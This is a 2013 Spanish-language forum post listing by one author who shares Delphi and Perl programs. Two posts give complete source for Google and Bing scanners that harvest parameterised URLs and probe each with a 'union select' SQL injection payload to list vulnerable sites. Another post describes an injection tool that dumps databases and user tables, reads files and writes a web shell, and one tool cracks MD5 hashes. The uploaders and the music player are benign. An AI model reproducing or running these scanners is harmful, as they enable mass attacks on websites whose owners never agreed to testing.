|
221
|
Programación / Programación General / [Delphi] GoogleSearch 0.1
|
en: 7 Junio 2013, 18:29 pm
|
Un simple programa para buscar paginas vulnerables a SQLI usando Google. Una imagen : El codigo : // Google Search 0.1 // Coded By Doddy H unit goo; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, sButton, sSkinManager, IdURI, sMemo, PerlRegEx, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, jpeg, ExtCtrls, sEdit, sLabel, sGroupBox, sListBox, ComCtrls, sStatusBar, ShellApi, IdContext, IdCmdTCPClient; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; IdHTTP1: TIdHTTP; PerlRegEx1: TPerlRegEx; PerlRegEx2: TPerlRegEx; Image1: TImage; sGroupBox1: TsGroupBox; sLabel1: TsLabel; sLabel2: TsLabel; sEdit1: TsEdit; sEdit2: TsEdit; sGroupBox2: TsGroupBox; sListBox1: TsListBox; sGroupBox3: TsGroupBox; sGroupBox4: TsGroupBox; sListBox2: TsListBox; sStatusBar1: TsStatusBar; sButton1: TsButton; sButton2: TsButton; sButton3: TsButton; sButton4: TsButton; PerlRegEx3: TPerlRegEx; procedure sButton1Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure sListBox1DblClick(Sender: TObject); procedure sListBox2DblClick(Sender: TObject); procedure sButton4Click(Sender: TObject); procedure sButton3Click(Sender: TObject); procedure sButton2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure savefile(filename, texto: string); var ar: TextFile; begin AssignFile(ar, filename); FileMode := fmOpenWrite; if FileExists(filename) then Append(ar) else Rewrite(ar); Writeln(ar, texto); CloseFile(ar); end; procedure TForm1.FormCreate(Sender: TObject); var dir: string; begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'falloutstyle'; sSkinManager1.Active := True; dir := ExtractFilePath(Application.ExeName) + '/logs'; if not(DirectoryExists(dir)) then begin CreateDir(dir); end; ChDir(dir); end; procedure TForm1.sButton1Click(Sender: TObject); var code: string; link1: string; link2: string; linkfinal: string; z: integer; i: integer; ii: integer; target: string; linkfinalfinal: string; chau: TStringList; begin target := StringReplace(sEdit1.text, ' ', '+', []); sListBox1.Items.Clear; for i := 1 to StrToInt(sEdit2.text) do begin ii := i * 10; sStatusBar1.Panels[0].text := '[+] Searching in page : ' + IntToStr(ii); Form1.sStatusBar1.Update; code := IdHTTP1.Get('http://www.google.com/search?hl=&q=' + target + '&start=' + IntToStr(ii)); PerlRegEx1.Regex := '(?<="r"><. href=")(.+?)"'; PerlRegEx1.Subject := code; while PerlRegEx1.MatchAgain do begin for z := 1 to PerlRegEx1.SubExpressionCount do link1 := PerlRegEx1.SubExpressions[z]; PerlRegEx2.Regex := '\/url\?q\=(.*?)\&\;'; PerlRegEx2.Subject := link1; if PerlRegEx2.Match then begin link2 := PerlRegEx2.SubExpressions[1]; linkfinal := TIdURI.URLDecode(link2); sListBox1.Update; PerlRegEx3.Regex := '(.*?)=(.*?)'; PerlRegEx3.Subject := linkfinal; if PerlRegEx3.Match then begin linkfinalfinal := PerlRegEx3.SubExpressions[1] + '='; sListBox1.Items.Add(linkfinalfinal); end; end; end; end; chau := TStringList.Create; chau.Duplicates := dupIgnore; chau.Sorted := True; chau.Assign(sListBox1.Items); sListBox1.Items.Clear; sListBox1.Items.Assign(chau); for i := sListBox1.Items.Count - 1 downto 0 do begin savefile('google-search.txt', sListBox1.Items[i]); end; sStatusBar1.Panels[0].text := '[+] Done'; Form1.sStatusBar1.Update; end; procedure TForm1.sButton2Click(Sender: TObject); var i: integer; code: string; begin sListBox2.Items.Clear; sStatusBar1.Panels[0].text := '[+] Loading ...'; Form1.sStatusBar1.Update; for i := sListBox1.Items.Count - 1 downto 0 do begin try begin sStatusBar1.Panels[0].text := '[+] Scanning : ' + sListBox1.Items[i]; Form1.sStatusBar1.Update; sListBox2.Update; code := IdHTTP1.Get(sListBox1.Items[i] + '-1+union+select+1--'); PerlRegEx1.Regex := 'The used SELECT statements have a different number of columns'; PerlRegEx1.Subject := code; if PerlRegEx1.Match then begin sListBox2.Items.Add(sListBox1.Items[i]); savefile('sqli-founds.txt', sListBox1.Items[i]); end; end; except on E: EIdHttpProtocolException do ; on E: Exception do ; end; sStatusBar1.Panels[0].text := '[+] Done'; Form1.sStatusBar1.Update; end; end; procedure TForm1.sButton3Click(Sender: TObject); begin ShowMessage('Contact to lepuke[at]hotmail[com]'); end; procedure TForm1.sButton4Click(Sender: TObject); begin Form1.Close(); end; procedure TForm1.sListBox1DblClick(Sender: TObject); begin ShellExecute(Handle, 'open', 'google-search.txt', nil, nil, SW_SHOWNORMAL); end; procedure TForm1.sListBox2DblClick(Sender: TObject); begin ShellExecute(Handle, 'open', 'sqli-founds.txt', nil, nil, SW_SHOWNORMAL); end; end. // The End ?
Si quieren bajar el programa lo pueden hacer de aca.
|
|
|
222
|
Programación / Programación General / [Delphi] BingHack Tool 0.1
|
en: 31 Mayo 2013, 20:53 pm
|
Traduccion a delphi de este programa para buscar paginas vulnerables a SQLI usando bing. Una imagen : El codigo : // BingHackTool 0.1 // Coded By Doddy H unit bing; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, sButton, sMemo, sSkinManager, PerlRegEx, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, sEdit, sLabel, sGroupBox, sListBox, ComCtrls, sStatusBar, ShellApi, jpeg, ExtCtrls; type TForm1 = class(TForm) IdHTTP1: TIdHTTP; PerlRegEx1: TPerlRegEx; sSkinManager1: TsSkinManager; PerlRegEx2: TPerlRegEx; sGroupBox1: TsGroupBox; sLabel1: TsLabel; sEdit1: TsEdit; sLabel2: TsLabel; sEdit2: TsEdit; sGroupBox2: TsGroupBox; sListBox1: TsListBox; sGroupBox3: TsGroupBox; sListBox2: TsListBox; sStatusBar1: TsStatusBar; sGroupBox4: TsGroupBox; sButton1: TsButton; sButton2: TsButton; sButton3: TsButton; sButton4: TsButton; Image1: TImage; procedure sButton1Click(Sender: TObject); procedure sButton4Click(Sender: TObject); procedure sButton3Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure sListBox1DblClick(Sender: TObject); procedure sListBox2DblClick(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure savefile(filename, texto: string); var ar: TextFile; begin AssignFile(ar, filename); FileMode := fmOpenWrite; if FileExists(filename) then Append(ar) else Rewrite(ar); Writeln(ar, texto); CloseFile(ar); end; procedure TForm1.FormCreate(Sender: TObject); var dir: string; begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'falloutstyle'; sSkinManager1.Active := True; dir := ExtractFilePath(Application.ExeName) + '/logs'; if not(DirectoryExists(dir)) then begin CreateDir(dir); end; ChDir(dir); end; procedure TForm1.sButton1Click(Sender: TObject); var code: string; link1: string; linkfinal: string; z: integer; i: integer; ii: integer; chau: TStringList; target: string; begin sListBox1.Items.Clear; target := StringReplace(sEdit1.text, ' ', '+', []); sStatusBar1.Panels[0].text := '[+] Loading ...'; Form1.sStatusBar1.Update; for i := 1 to StrToInt(sEdit2.text) do begin ii := i * 10; sListBox1.Update; sStatusBar1.Panels[0].text := '[+] Searching in page : ' + IntToStr(ii); Form1.sStatusBar1.Update; code := IdHTTP1.Get('http://www.bing.com/search?q=' + target + '&first=' + IntToStr(ii)); PerlRegEx1.Regex := '<h3><a href="(.*?)"'; PerlRegEx1.Subject := code; while PerlRegEx1.MatchAgain do begin for z := 1 to PerlRegEx1.SubExpressionCount do link1 := PerlRegEx1.SubExpressions[z]; PerlRegEx2.Regex := '(.*?)=(.*?)'; PerlRegEx2.Subject := link1; if PerlRegEx2.Match then begin linkfinal := PerlRegEx2.SubExpressions[1] + '='; sListBox1.Items.Add(linkfinal); end; end; end; chau := TStringList.Create; chau.Duplicates := dupIgnore; chau.Sorted := True; chau.Assign(sListBox1.Items); sListBox1.Items.Clear; sListBox1.Items.Assign(chau); for i := sListBox1.Items.Count - 1 downto 0 do begin savefile('bing-search.txt', sListBox1.Items[i]); end; sStatusBar1.Panels[0].text := '[+] Done'; Form1.sStatusBar1.Update; end; procedure TForm1.sButton2Click(Sender: TObject); var i: integer; code: string; begin sListBox2.Items.Clear; sStatusBar1.Panels[0].text := '[+] Loading ...'; Form1.sStatusBar1.Update; for i := sListBox1.Items.Count - 1 downto 0 do begin try begin sStatusBar1.Panels[0].text := '[+] Scanning : ' + sListBox1.Items[i]; Form1.sStatusBar1.Update; sListBox2.Update; code := IdHTTP1.Get(sListBox1.Items[i] + '-1+union+select+1--'); PerlRegEx1.Regex := 'The used SELECT statements have a different number of columns'; PerlRegEx1.Subject := code; if PerlRegEx1.Match then begin sListBox2.Items.Add(sListBox1.Items[i]); savefile('sqli-founds.txt', sListBox1.Items[i]); end; end; except on E: EIdHttpProtocolException do ; on E: Exception do ; end; sStatusBar1.Panels[0].text := '[+] Done'; Form1.sStatusBar1.Update; end; end; procedure TForm1.sButton3Click(Sender: TObject); begin ShowMessage('Contact to lepuke[at]hotmail[com]'); end; procedure TForm1.sButton4Click(Sender: TObject); begin Form1.Close(); end; procedure TForm1.sListBox1DblClick(Sender: TObject); begin ShellExecute(Handle, 'open', 'bing-search.txt', nil, nil, SW_SHOWNORMAL); end; procedure TForm1.sListBox2DblClick(Sender: TObject); begin ShellExecute(Handle, 'open', 'sqli-founds.txt', nil, nil, SW_SHOWNORMAL); end; end. // The End ?
Si quieren bajar el programa pueden hacerlo de aca.
|
|
|
223
|
Programación / Programación General / [Delphi] K0bra 1.0
|
en: 26 Mayo 2013, 02:15 am
|
Traduccion a Delphi de este programa para scannear paginas vulnerables a SQLI. Con las siguiente opciones : - Comprobar vulnerabilidad
- Buscar numero de columnas
- Buscar automaticamente el numero para mostrar datos
- Mostras tablas
- Mostrar columnas
- Mostrar bases de datos
- Mostrar tablas de otra DB
- Mostrar columnas de una tabla de otra DB
- Mostrar usuarios de mysql.user
- Buscar archivos usando load_file
- Mostrar un archivo usando load_file
- Mostrar valores
- Mostrar informacion sobre la DB
- Crear una shell usando outfile
- Todo se guarda en logs ordenados
Unas imagenes : Si quieren bajar el programa lo pueden hacer de aca.
|
|
|
224
|
Programación / Programación General / [Delphi] MD5 Cracker 0.1
|
en: 20 Mayo 2013, 03:58 am
|
Un simple programa para crackear un hash MD5 hecho en Delphi. Una imagen : El codigo : // MD5 Cracker 0.1 // Coded By Doddy H // Based on the services : // http://md5.hashcracking.com/ // http://md5.rednoize.com // http://md52.altervista.org unit md5; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, sSkinManager, StdCtrls, sButton, sEdit, sGroupBox, jpeg, ExtCtrls, ComCtrls, sStatusBar, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, PerlRegEx; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; Image1: TImage; sGroupBox1: TsGroupBox; sEdit1: TsEdit; sGroupBox2: TsGroupBox; sEdit2: TsEdit; sGroupBox3: TsGroupBox; sStatusBar1: TsStatusBar; Crack: TsButton; sButton1: TsButton; sButton2: TsButton; sButton3: TsButton; IdHTTP1: TIdHTTP; PerlRegEx1: TPerlRegEx; procedure sButton2Click(Sender: TObject); procedure sButton3Click(Sender: TObject); procedure CrackClick(Sender: TObject); procedure sButton1Click(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.CrackClick(Sender: TObject); var rta: string; begin sStatusBar1.Panels[0].text := '[+] Searching in md5.hashcracking.com ...'; Form1.sStatusBar1.Update; rta := IdHTTP1.Get ('http://md5.hashcracking.com/search.php?md5=' + sEdit1.text); PerlRegEx1.Regex := 'Cleartext of (.*) is (.*)'; PerlRegEx1.Subject := rta; if PerlRegEx1.Match then begin sEdit2.text := PerlRegEx1.SubExpressions[2]; sStatusBar1.Panels[0].text := '[+] Done'; Form1.sStatusBar1.Update; end else begin sStatusBar1.Panels[0].text := '[+] Searching in md5.rednoize.com ...'; Form1.sStatusBar1.Update; rta := IdHTTP1.Get('http://md5.rednoize.com/?q=' + sEdit1.text); PerlRegEx1.Regex := '<div id=\"result\" >(.*)<\/div>'; PerlRegEx1.Subject := rta; if PerlRegEx1.Match then begin if not(Length(PerlRegEx1.SubExpressions[1]) = 32) then begin sEdit2.text := PerlRegEx1.SubExpressions[1]; sStatusBar1.Panels[0].text := '[+] Done'; Form1.sStatusBar1.Update; end else begin sStatusBar1.Panels[0].text := '[+] Searching in md52.altervista.org ...'; Form1.sStatusBar1.Update; rta := IdHTTP1.Get ('http://md52.altervista.org/index.php?md5=' + sEdit1.text); PerlRegEx1.Regex := '<br>Password: <font color=\"Red\">(.*)<\/font><\/b>'; PerlRegEx1.Subject := rta; if PerlRegEx1.Match then begin sEdit2.text := PerlRegEx1.SubExpressions[1]; sStatusBar1.Panels[0].text := '[+] Done'; Form1.sStatusBar1.Update; end else begin sEdit2.text := ''; sStatusBar1.Panels[0].text := '[-] Not Found'; Form1.sStatusBar1.Update; end; end; end; end; end; procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'neonnight'; sSkinManager1.Active := True; end; procedure TForm1.sButton1Click(Sender: TObject); begin sEdit2.SelectAll; sEdit2.CopyToClipboard; end; procedure TForm1.sButton2Click(Sender: TObject); begin ShowMessage('Contact to lepuke[at]hotmail[com]'); end; procedure TForm1.sButton3Click(Sender: TObject); begin Form1.Close(); end; end. // The End ?
Si quieren bajar el programa lo pueden hacer de aca.
|
|
|
225
|
Programación / Scripting / Re: [Perl] VirusTotal Scanner 0.1
|
en: 17 Mayo 2013, 18:43 pm
|
La verdad no entiendo para que traduces algo de un lenguaje a otro...
si , es porque siempre me gusta programar en los lenguajes que conozco que son Perl,Python,Ruby,PHP,Delphi,C,Java y proximamente C#.
|
|
|
227
|
Programación / Scripting / [Perl] VirusTotal Scanner 0.1
|
en: 16 Mayo 2013, 19:21 pm
|
Un simple script para scannear un archivo mediante el API de virustotal , la idea se me ocurrio cuando vi este script en python hecho por Sanko del foro Underc0de. Una imagen : #!usr/bin/perl #VirusTotal Scanner 0.1 #Coded By Doddy H #ppm install http://www.bribes.org/perl/ppm/JSON.ppd #ppm install http://trouchelle.com/ppm/Digest-MD5-File.ppd #ppm install http://www.bribes.org/perl/ppm/Crypt-SSLeay.ppd #ppm install http://trouchelle.com/ppm/Color-Output.ppd use JSON; use Digest ::MD5::File qw(file_md5_hex ); use LWP::UserAgent; use Color::Output; Color::Output::Init; my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); $nave->timeout(5); my $api_key = "yourapi" ; #Your API Key head(); unless ( $ARGV[0] ) { printear( "[+] Sintax : $0 <file to scan>", "text", "11", "5" ); copyright(); } else { unless ( -f $ARGV[0] ) { printear( "\n[-] File Not Found\n", "text", "5", "5" ); copyright(); } my $md5 = file_md5_hex( $ARGV[0] ); printear( "\n[+] Checking ...\n", "text", "7", "5" ); my $code = tomar( "https://www.virustotal.com/vtapi/v2/file/report", { "resource" => $md5, "apikey" => $api_key } ); if ( $code =~ /"response_code": 0/ ) { printear( "\n[+] Not Found\n", "text", "7", "5" ); } my $dividir = decode_json $code; printear( "[+] Getting data ...\n", "text", "7", "5" ); printear( "[+] Scan ID : " . $dividir->{scan_id}, "text", "13", "5" ); printear( "[+] Scan Date : " . $dividir->{scan_date}, "text", "13", "5" ); printear( "[+] Permalink : " . $dividir->{permalink}, "text", "13", "5" ); printear( "[+] Virus Founds : " . $dividir->{positives} . "/" . $dividir->{total}, "text", "13", "5" ); printear( "\n[+] Getting list ...\n", "text", "7", "5" ); my %abrir = %{ $dividir->{scans} }; for my $antivirus ( keys %abrir ) { if ( $abrir{$antivirus}{"result"} eq "" ) { printear( "[+] " . $antivirus . " : Clean", "text", "11", "5" ); } else { printear( "[+] " . $antivirus . " : " . $abrir{$antivirus}{"result"}, "text", "5", "5" ); } } printear( "\n[+] Finished\n", "text", "7", "5" ); copyright(); } sub head { printear( "\n-- == VirusTotal Scanner 0.1 == --\n", "text", "13", "5" ); } sub copyright { printear( "\n[+] Written By Doddy H", "text", "13", "5" ); } sub printear { if ( $_[1] eq "text" ) { cprint( "\x03" . $_[2] . $_[0] . "\x030\n" ); } elsif ( $_[1] eq "stdin" ) { if ( $_[3] ne "" ) { cprint( "\x03" . $_[2] . $_[0] . "\x030" . "\x03" . $_[3] ); my $op = <stdin>; cprint("\x030"); } } else { } } sub tomar { my ( $web, $var ) = @_; return $nave->post( $web, [ %{$var} ] )->content; } #The End ?
|
|
|
228
|
Programación / Scripting / [Perl] Imageshack Uploader 0.1
|
en: 14 Mayo 2013, 20:11 pm
|
Un simple script para subir imagenes a Imageshack. El codigo : #!usr/bin/perl #Imageshack Uploader 0.1 #Coded By Doddy H #ppm install http://www.bribes.org/perl/ppm/Crypt-SSLeay.ppd use LWP::UserAgent; my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); $nave->timeout(5); head(); unless ( $ARGV[0] ) { print "\n[+] Sintax : $0 <image>\n"; } else { my $your_key = "YOURKEY"; #Your API Key print "\n[+] Uploading ...\n"; my $code = $nave->post( "https://post.imageshack.us/upload_api.php", Content_Type => "form-data", Content => [ key => $your_key, fileupload => [ $ARGV[0] ], ] )->content; if ( $code =~ /"image_link":"(.*?)"/ ) { print "\n[+] Link : " . $1 . "\n"; } else { } } copyright(); sub head { print "\n-- == Imageshack Uploader 0.1 == --\n"; } sub copyright { print "\n[+] Written By Doddy H\n"; } #The End ?
|
|
|
229
|
Programación / Scripting / [Perl] AnonFiles Uploader
|
en: 14 Mayo 2013, 00:13 am
|
Traduccion a Perl del programa hecho por $DoC llamado AnonFiles Uploader hecho para subir archivos a la pagina AnonFiles. #!usr/bin/perl #AnonFiles Uploader #Original author: $ DoC #Translations made by Doddy H # #ppm install http://www.bribes.org/perl/ppm/Crypt-SSLeay.ppd # use LWP::UserAgent; my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); $nave->timeout(5); unless ( $ARGV[0] ) { print "\n[+] Sintax : $0 <file>\n"; } else { print "\n[+] Uploading ...\n"; my $code = $nave->post( "https://anonfiles.com/api?plain", Content_Type => "form-data", Content => [ file => [ $ARGV[0] ] ] )->content; if ( $code =~ /https:\/\/anonfiles\.com\/file\// ) { print "\n[+] Link : " . $code . "\n"; } else { } } #The End ?
|
|
|
230
|
Programación / Programación General / [Delphi] DH Player 0.1
|
en: 13 Mayo 2013, 23:40 pm
|
Un simple reproductor de musica que hice basado en este articulo. Una imagen : El codigo : // DH Player 0.1 // Coded By Doddy H // Based on this article : http://delphi.about.com/od/multimedia/l/aa112800a.htm unit mp3player; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, Menus, StdCtrls, sListBox, sSkinManager, MPlayer, sGroupBox, jpeg, ExtCtrls, ComCtrls, acProgressBar, Buttons, FileCtrl, sEdit; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; sGroupBox1: TsGroupBox; sListBox1: TsListBox; sGroupBox2: TsGroupBox; MediaPlayer1: TMediaPlayer; Image1: TImage; sGroupBox3: TsGroupBox; sProgressBar1: TsProgressBar; PopupMenu1: TPopupMenu; L1: TMenuItem; R1: TMenuItem; A1: TMenuItem; E1: TMenuItem; Directory: TsGroupBox; sEdit1: TsEdit; Timer1: TTimer; procedure A1Click(Sender: TObject); procedure E1Click(Sender: TObject); procedure R1Click(Sender: TObject); procedure L1Click(Sender: TObject); procedure Timer1Timer(Sender: TObject); procedure sListBox1DblClick(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.A1Click(Sender: TObject); begin ShowMessage('Contact to lepuke[at]hotmail[com]'); end; procedure TForm1.E1Click(Sender: TObject); begin Form1.Close(); end; procedure TForm1.FormCreate(Sender: TObject); begin sProgressBar1.Max := 0; sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'fm'; sSkinManager1.Active := True; end; procedure TForm1.L1Click(Sender: TObject); var dir: string; search: TSearchRec; cantidad: Integer; begin SelectDirectory('Select a folder', '', dir); sListBox1.Clear; sEdit1.Text := dir; cantidad := FindFirst(dir + '/' + '*.*', faAnyFile, search); while cantidad = 0 do begin if FileExists(dir + '/' + search.name) then begin sListBox1.Items.Add(search.name); end; cantidad := FindNext(search); end; FindClose(search); end; procedure TForm1.R1Click(Sender: TObject); begin sEdit1.Text := ''; sProgressBar1.Max := 0; sListBox1.Clear; end; procedure TForm1.sListBox1DblClick(Sender: TObject); begin sProgressBar1.Max := 0; MediaPlayer1.Close; MediaPlayer1.FileName := sEdit1.Text + '/' + sListBox1.Items.Strings [sListBox1.ItemIndex]; MediaPlayer1.Open; sProgressBar1.Max := MediaPlayer1.Length; end; procedure TForm1.Timer1Timer(Sender: TObject); begin if sProgressBar1.Max <> 0 then sProgressBar1.Position := MediaPlayer1.Position; end; end. // The End ?
Si lo quieren bajar lo pueden hacer de aca
|
|
|
|
|
|
|